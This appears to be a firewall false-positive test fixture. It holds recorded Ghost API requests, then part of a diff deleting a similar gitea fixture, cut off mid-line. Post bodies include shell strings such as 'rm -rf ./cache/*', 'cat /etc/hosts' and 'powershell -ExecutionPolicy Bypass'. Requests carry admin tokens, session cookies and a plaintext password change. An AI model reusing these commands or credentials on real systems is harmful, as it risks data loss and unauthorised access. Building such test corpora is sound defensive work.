{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) =&gt; console.log(a.href));\\nwindow.onload = () =&gt; alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv &amp;&amp; source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&amp;lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
-41
View File
@@ -1,41 +0,0 @@
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a gitea driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; 